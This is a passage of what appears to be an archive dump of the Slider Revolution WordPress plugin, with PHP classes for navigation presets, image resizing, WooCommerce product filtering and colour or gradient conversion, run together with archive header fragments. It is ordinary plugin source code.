'factory', false) == 'true') return false; $data['settings'] = array( 'dim' => $this->get_val($data, 'dim'), 'placeholders' => $this->get_val($data, 'placeholders'), 'presets' => $this->get_val($data, 'presets'), 'version' => $this->version ); $nav_id = intval($nav_id); if($nav_id > 0){ $response = $wpdb->update( $wpdb->prefix.RevSliderFront::TABLE_NAVIGATIONS, array( 'name' => $this->get_val($data, 'name'), 'handle' => $this->get_val($data, 'handle'), 'markup' => $this->get_val($data, 'markup'), 'css' => $this->get_val($data, 'css'), 'settings' => json_encode($this->get_val($data, 'settings')) ), array('id' => $nav_id) ); }else{ $response = $wpdb->insert( $wpdb->prefix.RevSliderFront::TABLE_NAVIGATIONS, array( 'name' => $this->get_val($data, 'name'), 'handle' => $this->get_val($data, 'handle'), 'type' => $this->get_val($data, 'type'), 'css' => $this->get_val($data, 'css'), 'markup' => $this->get_val($data, 'markup'), 'settings' => json_encode($this->get_val($data, 'settings')) ) ); } return $response; } /** * Delete Navigation * @since: 5.0 **/ public function delete_navigation($nav_id = 0){ global $wpdb; if(!isset($nav_id) || intval($nav_id) == 0) return __('Invalid ID', 'revslider'); $response = $wpdb->delete($wpdb->prefix.RevSliderFront::TABLE_NAVIGATIONS, array('id' => $nav_id)); if($response === false) return __('Navigation could not be deleted', 'revslider'); return true; } /** * Get Default Navigation * @since: 5.0 **/ public static function get_default_navigations(){ $navigations = array(); include(RS_PLUGIN_PATH.'includes/navigations.php'); return apply_filters('revslider_mod_default_navigations', $navigations); } /** * Translate Navigation for backwards compatibility * @since: 5.0 **/ public static function translate_navigation($handle){ $translation = array( 'round' => 'hesperiden', 'navbar' => 'gyges', 'preview1' => 'hades', 'preview2' => 'ares', 'preview3' => 'hebe', 'preview4' => 'hermes', 'custom' => 'custom', 'round-old' => 'hephaistos', 'square-old' => 'persephone', 'navbar-old' => 'erinyen' ); return (isset($translation[$handle])) ? $translation[$handle] : $handle; } /** * Check if given Navigation is custom, if yes, export it * @since: 5.1.1 **/ public function export_navigation($nav_handle){ $navs = self::get_all_navigations(false, true); if(!is_array($nav_handle)) $nav_handle = array($nav_handle => true); $entries = array(); if(!empty($nav_handle) && !empty($navs)){ foreach($nav_handle as $nav_id => $u){ foreach($navs as $n => $v){ //if($v['handle'] == $nav_id){ if($v['id'] == $nav_id){ $entries[$nav_id] = $navs[$n]; break; } } } if(!empty($entries)) return $entries; } return false; } /** * Check the CSS for placeholders, replace them with correspinding values * @since: 5.2.0 **/ public function add_placeholder_modifications($def_navi, $slider, $output){ if(!is_array($def_navi)) $def_navi = json_decode($def_navi, true); $css = $this->get_val($def_navi, 'css'); $type = $this->get_val($def_navi, 'type'); $handle = $this->get_val($def_navi, 'handle'); if(!in_array($type, array('arrows', 'bullets', 'thumbs', 'tabs'))) return $css; $placeholders = $this->get_val($def_navi, 'placeholders', array()); if(is_array($placeholders) && !empty($placeholders)){ foreach($placeholders as $phandle => $ph){ $def = $slider->get_param(array('nav', $type, 'presets', $phandle.'-def'), false); $replace = ($def === true) ? $slider->get_param(array('nav', $type, 'presets', $phandle), $ph['data']) : $ph['data']; $css = str_replace('##'.$phandle.'##', $replace, $css); } $css = str_replace('.'.$handle, '#'.$output->get_html_id().'_wrapper .'.$handle, $css); } return $css; } /** * change rgb, rgba and hex to rgba like 120,130,50,0.5 (no () and rgb/rgba) * @since: 3.0.0 **/ public static function parse_css_to_array($css){ while(strpos($css, '/*') !== false){ if(strpos($css, '*/') === false) return false; $start = strpos($css, '/*'); $end = strpos($css, '*/') + 2; $css = str_replace(substr($css, $start, $end - $start), '', $css); } //preg_match_all( '/(?ims)([a-z0-9\s\.\:#_\-@]+)\{([^\}]*)\}/', $css, $arr); preg_match_all( '/(?ims)([a-z0-9\,\s\.\:#_\-@]+)\{([^\}]*)\}/', $css, $arr); $result = array(); foreach ($arr[0] as $i => $x){ $selector = trim($arr[1][$i]); if(strpos($selector, '{') !== false || strpos($selector, '}') !== false) return false; $rules = explode(';', trim($arr[2][$i])); $result[$selector] = array(); foreach ($rules as $strRule){ if (!empty($strRule)){ $rule = explode(':', $strRule); if(strpos($rule[0], '{') !== false || strpos($rule[0], '}') !== false || strpos($rule[1], '{') !== false || strpos($rule[1], '}') !== false) return false; //put back everything but not $rule[0]; $key = trim($rule[0]); unset($rule[0]); $values = implode(':', $rule); $result[$selector][trim($key)] = trim(str_replace("'", '"', $values)); } } } return $result; } /** * Check the CSS for placeholders, replace them with correspinding values * @since: x.x.x **/ public function add_placeholder_sub_modifications($css, $handle, $type, $placeholders, $slide, $output){ $css_class = RevSliderGlobals::instance()->get('RevSliderCssParser'); $c_css = ''; if(!is_array($placeholders)) $placeholders = json_decode($placeholders, true); if(isset($placeholders) && is_array($placeholders) && !empty($placeholders)){ //first check for media queries, generate more than one staple $marr = $css_class->parse_media_blocks($css); if(!empty($marr)){//handle them separated foreach($marr as $media => $mr){ $css = str_replace($mr, '', $css); //clean @media query from $mr $mr = $css_class->clear_media_block($mr); //remove media query and bracket $d = $css_class->css_to_array($mr); $ret = $this->preset_return_array_css($d, $placeholders, $slide, $handle, $type, $output); if(trim($ret) !== ''){ $c_css .= "\n".$media.' {'."\n"; $c_css .= $ret; $c_css .= "\n".'}'."\n"; } } } $c = $css_class->css_to_array($css); $c_css .= $this->preset_return_array_css($c, $placeholders, $slide, $handle, $type, $output); } return $c_css; } /** * Returns Array CSS modifications * @since: 5.2.0 **/ public function preset_return_array_css($c, $placeholders, $slide, $handle, $type, $output){ $c_css = ''; $array_css = array(); if(!empty($c)){ if(!empty($placeholders)){ foreach($placeholders as $k => $d){ if($slide->get_param(array('nav', $type, 'presets', $k.'-def'), false) === true){ //get from Slide foreach($c as $class => $styles){ foreach($styles as $name => $val){ if(strpos($val, '##'.$k.'##') !== false){ $e = $slide->get_param(array('nav', $type, 'presets', $k)); $array_css[$class][$name] = str_replace('##'.$k.'##', $e, $val); } } } } } } if(!empty($array_css)){ foreach($array_css as $class => $styles){ if(!empty($styles)){ //class needs to get current slider and slide id $slide_id = $slide->get_id(); $class = str_replace('.'.$handle, '#'.$output->get_html_id().'[data-slideactive="rs-'.$slide_id.'"] .'.$handle, $class); $c_css .= $class.'{'."\n"; foreach($styles as $style => $value){ //check if there are still defaults that needs to be replaced if(strpos($value, '##') !== false){ foreach($placeholders as $k => $d){ if(strpos($value, '##'.$k.'##') !== false){ $value = str_replace('##'.$k.'##', $d['data'], $value); } } } $c_css .= $style.': '.$value.' !important;'."\n"; } $c_css .= '}'."\n"; } } } } return $c_css; } /** * Add Navigation Preset to existing navigation * @since: 5.2.0 **/ public function add_preset($data){ if(!isset($data['navigation'])) return false; $navs = $this->get_all_navigations(); foreach($navs as $nav){ if($nav['id'] == $data['navigation']){ //found the navigation, get ID and update settings //check if default, they cant have presets in the table if(isset($nav['factory']) && $nav['factory'] == true){ //check if we are a default preset, if yes return error if(isset($nav['presets'])){ foreach($nav['presets'] as $prkey => $preset){ if($prkey == $data['handle']){ if(!isset($preset['editable'])){ return __("Can't modify a default preset of default navigations", 'revslider'); } } } } //we want to add the preset somewhere $overwrite = false; $default_presets = get_option('revslider-nav-preset-default', array()); if(!empty($default_presets) && isset($default_presets[$nav['id']])){ foreach($default_presets[$nav['id']] as $prkey => $preset){ if($prkey == $data['handle']){ if($data['do_overwrite'] === false || $data['do_overwrite'] === 'false'){ return __('Preset handle already exists, please choose a different name', 'revslider'); } $default_presets[$nav['id']][$prkey] = array( 'name' => esc_attr($data['name']), //'handle' => esc_attr($data['handle']), 'type' => esc_attr($data['type']), 'values' => $data['values'], 'editable' => true ); $overwrite = true; } } }/*else{ $default_presets = array(); }*/ if($overwrite === false){ $default_presets[$nav['id']][$data['handle']] = array( 'name' => esc_attr($data['name']), //'handle' => esc_attr($data['handle']), 'type' => esc_attr($data['type']), 'values' => $data['values'], 'editable' => true ); } update_option('revslider-nav-preset-default', $default_presets); //return __('Can\'t add a preset to default navigations', 'revslider'); }else{ $overwrite = false; if(isset($nav['presets']) && is_array($nav['presets']) && !empty($nav['presets'])){ foreach($nav['presets'] as $prkey => $preset){ if($prkey == $data['handle']){ if($data['do_overwrite'] === false || $data['do_overwrite'] === 'false'){ return __('Preset handle already exists, please choose a different name', 'revslider'); } $nav['presets'][$prkey] = array( 'name' => esc_attr($data['name']), //'handle' => esc_attr($data['handle']), 'type' => esc_attr($data['type']), 'values' => $data['values'] ); $overwrite = true; } } }else{ $nav['presets'] = array(); } if($overwrite === false){ $nav['presets'][$data['handle']] = array( 'name' => esc_attr($data['name']), //'handle' => esc_attr($data['handle']), 'type' => esc_attr($data['type']), 'values' => $data['values'] ); } $placeholders = $this->get_val($nav, 'placeholders'); if(!empty($placeholders)){ foreach($placeholders as $k => $pl){ if(isset($pl['data'])){ $placeholders[$k]['data'] = addslashes($pl['data']); } } } global $wpdb; //save this navigation $response = $wpdb->update( $wpdb->prefix.RevSliderFront::TABLE_NAVIGATIONS, array( 'settings' => json_encode( array( 'dim' => $this->get_val($nav, 'dim'), 'placeholders' => $placeholders, 'presets' => $this->get_val($nav, 'presets'), 'version' => $this->version ) ) ), array('id' => $nav['id']) ); if($response == 0) $response = false; } return true; } } return __('Navigation not found, could not add preset', 'revslider'); } /** * Add Navigation Preset to existing navigation * @since: 5.2.0 **/ public function delete_preset($data){ if(!isset($data['style_handle']) || !isset($data['handle']) || !isset($data['type'])) return false; $navs = $this->get_all_navigations(); foreach($navs as $nav){ if($nav['id'] != $data['style_handle']) continue; if($nav['type'] != $data['type']) continue; //found the navigation, get ID and update settings //check if default, they cant have presets if(isset($nav['factory']) && $nav['factory'] == true){ $default_presets = get_option('revslider-nav-preset-default', array()); if(!empty($default_presets) && isset($default_presets[$nav['id']])){ foreach($default_presets[$nav['id']] as $prkey => $preset){ if($preset['name'] == $data['handle']){ unset($default_presets[$nav['id']][$prkey]); update_option('revslider-nav-preset-default', $default_presets); return true; } } return __('Can\'t delete default preset of default navigations', 'revslider'); } return __('Preset not found in default navigations', 'revslider'); }else{ if(isset($nav['presets'])){ foreach($nav['presets'] as $pkey => $preset){ if($preset['handle'] == $data['handle']){ //delete unset($nav['presets'][$pkey]); break; } } }else{ return __('Preset not found', 'revslider'); } global $wpdb; //save this navigation $response = $wpdb->update( $wpdb->prefix.RevSliderFront::TABLE_NAVIGATIONS, array( 'settings' => json_encode( array( 'dim' => $this->get_val($nav, 'dim'), 'placeholders' => $this->get_val($nav, 'placeholders'), 'presets' => $this->get_val($nav, 'presets'), 'version' => $this->version ) ) ), array('id' => $nav['id']) ); return $response; } } return __('Navigation not found, could not delete preset', 'revslider'); } } includes/aq-resizer.class.php000060400000017425151724235750012271 0ustar00resize( $width, $height, $crop ) ) ) return false; $resized_file = $editor->save(); if ( ! is_wp_error( $resized_file ) ) { $resized_rel_path = str_replace( $upload_dir, '', $resized_file['path'] ); $img_url = $upload_url . $resized_rel_path; } else { return false; } } } // Okay, leave the ship. if ( true === $upscale ) remove_filter( 'image_resize_dimensions', array( $this, 'aq_upscale' ) ); // Return the output. if ( $single ) { // str return. $image = $img_url; } else { // array return. $image = array ( 0 => $img_url, 1 => $dst_w, 2 => $dst_h ); } return $image; } /** * Callback to overwrite WP computing of thumbnail measures */ function aq_upscale( $default, $orig_w, $orig_h, $dest_w, $dest_h, $crop ) { if ( ! $crop ) return null; // Let the wordpress default function handle this. // Here is the point we allow to use larger image size than the original one. $aspect_ratio = $orig_w / $orig_h; $new_w = $dest_w; $new_h = $dest_h; if ( ! $new_w ) { $new_w = intval( $new_h * $aspect_ratio ); } if ( ! $new_h ) { $new_h = intval( $new_w / $aspect_ratio ); } $size_ratio = max( $new_w / $orig_w, $new_h / $orig_h ); $crop_w = round( $new_w / $size_ratio ); $crop_h = round( $new_h / $size_ratio ); $s_x = floor( ( $orig_w - $crop_w ) / 2 ); $s_y = floor( ( $orig_h - $crop_h ) / 2 ); return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h ); } } } if(!function_exists('rev_aq_resize')){ /** * This is just a tiny wrapper function for the class above so that there is no * need to change any code in your own WP themes. Usage is still the same :) */ function rev_aq_resize($url, $width = null, $height = null, $crop = null, $single = true, $upscale = false){ /* WPML Fix */ if ( defined( 'ICL_SITEPRESS_VERSION' ) ){ global $sitepress; $url = $sitepress->convert_url( $url, $sitepress->get_default_language() ); } /* WPML Fix */ $aq_resize = Rev_Aq_Resize::getInstance(); $image = $aq_resize->process( $url, $width, $height, $crop, $single, $upscale ); return (!empty($image) || $image === false) ? $image : $url; } }includes/woocommerce.class.php000060400000015217151724235750012523 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderWooCommerce extends RevSliderFunctions { const META_SKU = '_sku'; //can be 'instock' or 'outofstock' const META_STOCK = '_stock'; //can be 'instock' or 'outofstock' /** * return true / false if the woo commerce exists * @before RevSliderWooCommerce::isWooCommerceExists(); */ public static function woo_exists(){ return (class_exists('Woocommerce')) ? true : false; } /** * compare wc current version to given version */ public static function version_check($version = '1.0') { if(self::woo_exists()){ global $woocommerce; if(version_compare($woocommerce->version, $version, '>=')){ return true; } } return false; } /** * get wc post types */ public static function getCustomPostTypes(){ $arr = array( 'product' => __('Product', 'revslider'), 'product_variation' => __('Product Variation', 'revslider') ); return $arr; } /** * get price query * @before: RevSliderWooCommerce::getPriceQuery() */ private static function get_price_query($from, $to, $meta_tag){ $from = (empty($from)) ? 0 : $from; $to = (empty($to)) ? 9999999999 : $to; $query = array( 'key' => $meta_tag, 'value' => array($from, $to), 'type' => 'numeric', 'compare' => 'BETWEEN' ); return $query; } /** * check if in pricerange */ private static function check_price_range($from, $to, $check){ $from = (empty($from)) ? 0 : $from; $to = (empty($to)) ? 9999999999 : $to; return ($check > $from && $check < $to) ? true : false; } /** * get meta query for filtering woocommerce posts. * before: RevSliderWooCommerce::getMetaQuery(); * @6.5.23: removed _regular_price and _sale_price here, will be later checked under filter_products_by_price() to add the children */ public static function get_meta_query($args){ $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); $query = array(); $meta_query = array(); $tax_query = array(); if($f->get_val($args, array('source', 'woo', 'inStockOnly')) == true){ $meta_query[] = array( 'key' => '_stock_status', 'value' => 'instock', 'compare' => '=' ); } if($f->get_val($args, array('source', 'woo', 'featuredOnly')) == true){ $tax_query[] = array( 'taxonomy' => 'product_visibility', 'field' => 'name', 'terms' => 'featured', ); } $tax_query['relation'] = 'AND'; $tax_query[] = array( 'taxonomy' => 'product_visibility', 'field' => 'name', 'terms' => 'exclude-from-catalog', 'operator' => 'NOT IN', ); if(!empty($meta_query)) $query['meta_query'] = $meta_query; if(!empty($tax_query)) $query['tax_query'] = $tax_query; return $query; } /** * filter posts by sales prices, also check for child products * @since: 6.5.23 */ public static function filter_products_by_price($posts, $args){ if(empty($posts)) return $posts; $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); $is_30 = RevSliderWooCommerce::version_check('3.0'); $reg_price_from = $f->get_val($args, array('source', 'woo', 'regPriceFrom')); $reg_price_to = $f->get_val($args, array('source', 'woo', 'regPriceTo')); $sale_price_from = $f->get_val($args, array('source', 'woo', 'salePriceFrom')); $sale_price_to = $f->get_val($args, array('source', 'woo', 'salePriceTo')); $post_types = $f->get_val($args, array('source', 'woo', 'types'), 'any'); $meta_query = array(); //get regular price array if(!empty($reg_price_from) || !empty($reg_price_to)){ $meta_query[] = self::get_price_query($reg_price_from, $reg_price_to, '_regular_price'); } //get sale price array if(!empty($sale_price_from) || !empty($sale_price_to)){ $meta_query[] = self::get_price_query($sale_price_from, $sale_price_to, '_sale_price'); } $_good_posts = array(); foreach($posts as $key => $post){ $product_id = $f->get_val($post, 'ID'); // ID of parent product $product = ($is_30) ? wc_get_product($product_id) : get_product($product_id); if($product === false){ $_good_posts[] = $post; unset($posts[$key]); continue; } //check if current post is okay with _regular_price and _sale_price if(!empty($reg_price_from) || !empty($reg_price_to) || !empty($sale_price_from) || !empty($sale_price_to)){ $meta = get_post_meta($product_id); $in_reg_range = false; $in_sale_range = false; if(!empty($reg_price_from) || !empty($reg_price_to)){ $in_reg_range = self::check_price_range($reg_price_from, $reg_price_to, $f->get_val($meta, '_regular_price')); } if(!empty($sale_price_from) || !empty($sale_price_to)){ $in_sale_range = self::check_price_range($sale_price_from, $sale_price_to, $f->get_val($meta, '_sale_price')); } if($in_reg_range || $in_sale_range){ $_good_posts[] = $post; continue; }else{ unset($posts[$key]); } } if(!empty($meta_query)){ $my_posts = new WP_Query( array( 'post_parent' => $product_id, // ID of a page, post, or custom type 'post_type' => $post_types, 'meta_query' => $meta_query ) ); $_posts = $my_posts->posts; if(!empty($_posts)){ foreach($_posts as $child_post){ $_good_posts[] = $child_post; } } }else{ $_good_posts[] = $post; } } return $_good_posts; } /** * get sortby function including standart wp sortby array */ public static function getArrSortBy(){ $sort_by = array( 'meta_num__regular_price' => __('Regular Price', 'revslider'), 'meta_num__sale_price' => __('Sale Price', 'revslider'), 'meta_num_total_sales' => __('Number Of Sales', 'revslider'), //'meta__featured' => __('Featured Products', 'revslider'), 'meta__sku' => __('SKU', 'revslider'), 'meta_num_stock' => __('Stock Quantity', 'revslider') ); return $sort_by; } /** * since WooCommerce 3.0 this function is deprecated as it could lead to performance issues * this is a 1to1 copy of the named function without the deprecation message **/ public static function get_total_stock($product){ if ( sizeof( $product->get_children() ) > 0 ) { $total_stock = max( 0, $product->get_stock_quantity() ); foreach ( $product->get_children() as $child_id ) { if ( 'yes' === get_post_meta( $child_id, '_manage_stock', true ) ) { $stock = get_post_meta( $child_id, '_stock', true ); $total_stock += max( 0, wc_stock_amount( $stock ) ); } } } else { $total_stock = $product->get_stock_quantity(); } return wc_stock_amount( $total_stock ); } } //end of the classincludes/colorpicker.class.php000060400000036455151724235750012527 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); if(!class_exists('RSColorpicker')){ class RSColorpicker { /** * @since 5.3.1.6 */ public function __construct(){ } /** * get a value * @since 5.3.1.6 */ public static function get($val){ if(!$val || empty($val)) return 'transparent'; $process = RSColorpicker::process($val, true); return $process[0]; } /** * parse a color * @since 5.3.1.6 */ public static function parse($val, $prop, $returnColorType){ $val = RSColorpicker::process($val, true); $ar = array(); $ar[0] = (!$prop) ? $val[0] : $prop . ': ' . $val[0] . ';'; if($returnColorType) $ar[1] = $val[1]; return $ar; } /** * convert a color * @since 5.3.1.6 */ public static function convert($color, $opacity = '100'){ if($opacity == 'transparent') return 'rgba(0,0,0,0)'; if($color == '') return ''; if(strpos($color, '[{') !== false || strpos($color, 'gradient') !== false) return RSColorpicker::get($color); if(!is_bool($opacity) && ''.$opacity === '0') return 'transparent'; if($opacity == -1 || !$opacity || empty($opacity) || !is_numeric($opacity) || $color == 'transparent' || $opacity === 1 || $opacity === 100){ if(strpos($color, 'rgba') === false && strpos($color, '#') !== false){ return RSColorpicker::processRgba(RSColorpicker::sanitizeHex($color), $opacity); }else{ $color = RSColorpicker::process($color, true); return $color[0]; } } $opacity = floatval($opacity); if($opacity < 1) $opacity = $opacity * 100; $opacity = round($opacity); $opacity = ($opacity > 100) ? 100 : $opacity; $opacity = ($opacity < -1) ? 0 : $opacity; if($opacity === 0) return 'transparent'; if(strpos($color, '#') !== false){ return RSColorpicker::processRgba(RSColorpicker::sanitizeHex($color), $opacity); }else{ $color = RSColorpicker::rgbValues($color, 3); return RSColorpicker::rgbaString($color[0], $color[1], $color[2], $opacity); } } /** * process color * @since 5.3.1.6 */ public static function process($clr, $processColor = false){ if(!is_string($clr)){ if($processColor) $clr = RSColorpicker::sanatizeGradient($clr); return array(RSColorpicker::processGradient($clr), 'gradient', $clr); }elseif(trim($clr) == 'transparent'){ return array('transparent', 'transparent'); }elseif(strpos($clr, '[{') !== false){ try{ $clr = json_decode(str_replace("amp;", '',str_replace("&", '"', $clr)), true); if($processColor) $clr = RSColorpicker::sanatizeGradient($clr); return array(RSColorpicker::processGradient($clr), 'gradient', $clr); }catch(Exception $e){ return array( 'linear-gradient(0deg, rgb(255, 255, 255) 0%, rgb(0, 0, 0) 100%)', 'gradient', array( 'type' => 'linear', 'angle' => '0', 'colors' => array( array( 'r' => '255', 'g' => '255', 'b' => '255', 'a' => '1', 'position' => '0', 'align' => 'bottom' ), array( 'r' => '0', 'g' => '0', 'b' => '0', 'a' => '1', 'position' => '100', 'align' => 'bottom' ) ) ) ); } }elseif(strpos($clr, '-gradient') !== false){ // gradient was not stored as a JSON string for some reason and needs to be converted $reversed = RSColorpicker::reverseGradient($clr); return array(RSColorpicker::processGradient($reversed), 'gradient_css', $reversed); }elseif(strpos($clr,'#') !== false){ return array(RSColorpicker::sanitizeHex($clr), 'hex'); }elseif(strpos($clr,'rgba') !== false){ $clr = preg_replace('/\s+/', '', $clr); // fixes 'rgba(0,0,0,)' issue preg_match('/,\)/', $clr, $matches); if(!empty($matches)) { $clr = explode(',)', $clr); $clr = $clr[0] . ',1)'; } return array($clr, 'rgba'); }else{ $clr = preg_replace('/\s+/', '', $clr); return array($clr, 'rgb'); } } /** * sanitize a gradient * @since 5.3.1.6 */ public static function sanatizeGradient($obj){ $colors = $obj['colors']; $len = count($colors); $ar = array(); for($i = 0; $i < $len; $i++){ $cur = $colors[$i]; unset($cur['align']); if(is_bool($cur['a'])) $cur['a'] = $cur['a'] ? 1 : 0; $cur['a'] = RSColorpicker::sanitizeAlpha($cur['a']); $cur['r'] = intval($cur['r']); $cur['g'] = intval($cur['g']); $cur['b'] = intval($cur['b']); $cur['position'] = intval($cur['position']); if(isset($prev)){ if(json_encode($cur) !== json_encode($prev)){ $ar[] = $cur; } }else{ $ar[] = $cur; } $prev = $cur; } $obj['colors'] = $ar; return $obj; } /** * cleans up the alpha value for comparison operations * @since 6.0 */ public static function sanitizeAlpha($alpha){ $alpha = floatval($alpha); $alpha = min($alpha, 1); $alpha = max($alpha, 0); $alpha = number_format($alpha, 2, '.', ''); $alpha = preg_replace('/\.?0*$/', '', $alpha); return floatval($alpha); } /** * accounting for cases where gradient doesn't exist as a JSON Object from previous templates for some reason * @since 6.0 */ public static function reverseGradient($str){ // hsl colors not supported yet if(strpos($str, 'hsl') !== false) return $str; $str = str_replace('/\-moz\-|\-webkit\-/', '', $str); $str = str_replace('to left', '90deg', $str); $str = str_replace('to bottom', '180deg', $str); $str = str_replace('to top', '0deg', $str); $str = str_replace('to right', '270deg', $str); $str = str_replace(';', '', $str); $gradient = explode('-gradient(', $str); if(count($gradient) < 2) return $str; $grad = trim($gradient[1]); $degree = '0'; if(strpos($grad, 'ellipse at center') === false){ if(strpos($grad, 'deg') !== false){ $grad = explode('deg', $grad); $degree = trim($grad[0]); $grad = trim($grad[1]); } }else{ $grad = str_replace('ellipse at center', '', $grad); } if($grad[0] === ',') $grad = ltrim($grad, ','); if($grad[strlen($grad) - 1] === ',') $grad = rtrim($grad, ','); $colors = explode('%', $grad); $list = array(); array_pop($colors); $prev = false; foreach($colors as $clr) { $clr = trim($clr); $perc = ''; if($clr[0] === ',') $clr = ltrim($clr, ','); if(strpos($clr, ' ') === false) return $str; $perc = explode(' ', $clr); $perc = $perc[count($perc) - 1]; $leg = strlen($clr); $index = 0; while($leg--){ $index = $leg; if($clr[$leg] === ' ') break; } $clr = substr($clr, 0, $index); preg_match('/\)/', $clr, $matches); if(!empty($matches)) { $clr = explode(')', $clr); $clr = trim($clr[0]) . ')'; }else{ $clr = explode(' ', $clr); $clr = trim($clr[0]); } $tpe = RSColorpicker::process($clr, false); if($tpe[1] === 'hex'){ $clr = RSColorpicker::sanitizeHex($clr); $clr = RSColorpicker::processRgba($clr); } if($prev && $prev === $clr) continue; $prev = $clr; $clr = RSColorpicker::rgbValues($clr, 4); $list[] = array('r' => $clr[0], 'g' => $clr[1], 'b' => $clr[2], 'a' => $clr[3], 'position' => $perc, 'align' => 'top'); } return array('type' => trim($gradient[0]), 'angle' => $degree, 'colors' => $list); } /** * create the gradient * @since 6.0 */ public static function easeGradient(&$gradient){ include_once(RS_PLUGIN_PATH . 'includes/coloreasing.class.php'); if(class_exists('RSColorEasing')){ $strength = (intval($gradient['strength']) * 0.01) * 15; $easing = $gradient['easing']; $points = $gradient['colors']; $len = count($points) - 1; $ar = array(); for($i = 0; $i < $len; $i++){ $ar[] = $points[$i]; RSColorEasing::insertPoints($points[$i], $points[$i + 1], $ar, $easing, $strength); } $ar[] = $points[$len]; $gradient['colors'] = $ar; } } /** * create the gradient * @since 5.3.1.6 */ public static function processGradient($obj){ if(!is_array($obj)) return 'transparent'; if(array_key_exists('easing', $obj) && $obj['easing'] !== 'none') { RSColorpicker::easeGradient($obj); } $tpe = $obj['type']; $begin = $tpe . '-gradient('; if($tpe === 'linear'){ $angle = intval($obj['angle']); $middle = $angle !== 180 ? $angle . 'deg, ' : ''; }else{ $middle = 'ellipse at center, '; } $colors = $obj['colors']; $end = ''; $i = 0; foreach($colors as $clr){ if($i > 0) $end .= ', '; $end .= 'rgba(' . $clr['r'] . ',' . $clr['g'] . ',' . $clr['b'] . ',' . $clr['a'] . ') ' . $clr['position'] . '%'; $i++; } return $begin . $middle . $end . ')'; } /** * get rgb values * @since 5.3.1.6 */ public static function rgbValues($values, $num){ if(empty($values)) return $values; if(strpos($values, '(') === false) return $values; if(strpos($values, ')') === false) return $values; $values = substr($values, strpos($values, '(') + 1, strpos($values, ')') - strpos($values, '(') - 1); $values = explode(',', $values); if(count($values) == 3 && $num == 4) $values[3] = '1'; for($i = 0; $i < $num; $i++){ if(isset($values[$i])) $values[$i] = trim($values[$i]); } if(count($values) < $num){ $v = count($values)-1; for($i = $v; $i < $num; $i++){ $values[$i] = $values[0]; } } return $values; } /** * get an rgba string * @since 5.3.1.6 */ public static function rgbaString($r, $g, $b, $a){ if($a > 1){ $a = ''.number_format($a * 0.01, 2, '.', ''); $a = str_replace('.00', '', $a); } return 'rgba(' . $r . ',' . $g . ',' . $b . ',' . $a . ')'; } /** * change rgb to hex * @since 5.3.1.6 */ public static function rgbToHex($clr){ $values = RSColorpicker::rgbValues($clr, 3); return RSColorpicker::getRgbToHex($values[0], $values[1], $values[2]); } /** * change rgba to hex * @since 5.3.1.6 */ public static function rgbaToHex($clr){ $values = RSColorpicker::rgbValues($clr, 4); return RSColorpicker::getRgbToHex($values[0], $values[1], $values[2]); } /** * get opacity * @since 5.3.1.6 */ public static function getOpacity($val){ $rgb = RSColorpicker::rgbValues($val, 4); return intval($rgb[3] * 100, 10) + '%'; } /** * change rgb to hex * @since 5.3.1.6 */ public static function getRgbToHex($r, $g, $b){ $rgb = array($r, $g, $b); $hex = "#"; $hex .= str_pad(dechex($rgb[0]), 2, "0", STR_PAD_LEFT); $hex .= str_pad(dechex($rgb[1]), 2, "0", STR_PAD_LEFT); $hex .= str_pad(dechex($rgb[2]), 2, "0", STR_PAD_LEFT); return $hex; } /** * join it together to be rgba * @since 5.3.1.6 */ public static function joinToRgba($val){ $val = explode('||', $val); return RSColorpicker::convert($val[0], $val[1]); } /** * rgb to rgba * @since 6.0 */ public static function rgbToRgba($val){ $val = RSColorpicker::rgbValues($val, 4); return RSColorpicker::rgbaString($val[0], $val[1], $val[2], $val[3]); } /** * convert rgba with 100% opacity to hex * @since 6.0 */ public static function trimHex($color){ $color = trim($color); if(strlen($color) !== 7) return $color; $clr = str_replace('#', '', $color); $char = $clr[0]; for($i = 1; $i < 6; $i++) { if($clr[$i] !== $char) return $color; $char = $clr[$i]; } return '#' . substr($clr, 0, 3); } /** * the legacy opacity to rgba conversions and also checks for gradients * @since: 6.0 */ public function correctValue($color, $opacity = false) { if(!is_string($color)) return $color; // unknown value // gradients can exist as a JSON string or a CSS string // when they exist as a CSS string it is a result of a bug from 5.0 if(strpos($color, '[{') === false && strpos($color, 'gradient') === false) { if($opacity === false) return $color; // normal color return RSColorpicker::convert($color, $opacity); // legacy conversion } return $color; // gradient } /** * useful when you need to compare two values and also for smallest print size * for example, this function will convert both" * "rgba(255,255, 255,1)" and "#FFFFFF" to "#FFF" * @since: 6.0 */ public static function normalizeColor($color) { if(empty(trim($color))) return $color; $color = RSColorpicker::process($color, true); $clr = $color[0]; $tpe = $color[1]; $processed = true; if($tpe === 'hex'){ $clr = RSColorpicker::sanitizeHex($clr); $clr = RSColorpicker::processRgba($clr, true); $processed = true; }elseif($tpe === 'rgb'){ $clr = RSColorpicker::rgbToRgba($clr); }elseif($tpe === 'rgba'){ $clr = preg_replace('/\s+/', '', $clr); }else{ $processed = false; } if($processed) $clr = RSColorpicker::sanitizeRgba($clr); return $clr; } /** * normalize colors for comparison * @since: 6.0 */ public static function normalizeColors($color){ if(is_object($color)) $color = (array)$color; if(is_array($color)) { $total = count($color); for($i = 0; $i < $total; $i++) $color[$i] = RSColorpicker::normalizeColor($color[$i]); }else{ $color = RSColorpicker::normalizeColor($color); } return $color; } /** * convert rgba with 100% opacity to hex * @since 6.0 */ public static function sanitizeRgba($color, $opacity = false){ if($opacity){ $color = RSColorpicker::rgbaToHex($color); $color = RSColorpicker::trimHex($color); }else{ $opacity = RSColorpicker::rgbValues($color, 4); if($opacity[3] === '1') { $color = RSColorpicker::rgbaToHex($color); $color = RSColorpicker::trimHex($color); } } return $color; } /** * process rgba * @since 5.3.1.6 */ public static function processRgba($hex, $opacity = false){ $hex = trim(str_replace('#', '' , $hex)); $rgb = $opacity!==false ? 'rgba' : 'rgb'; $r = @hexdec(substr($hex,0,2)); $g = @hexdec(substr($hex,2,2)); $b = @hexdec(substr($hex,4,2)); $color = $rgb . "(" . $r . "," . $g . "," . $b ; if($opacity!==false){ if($opacity > 1) $opacity = ''.number_format($opacity * 0.01 , 2, '.', ''); $opacity = str_replace('.00', '', $opacity); 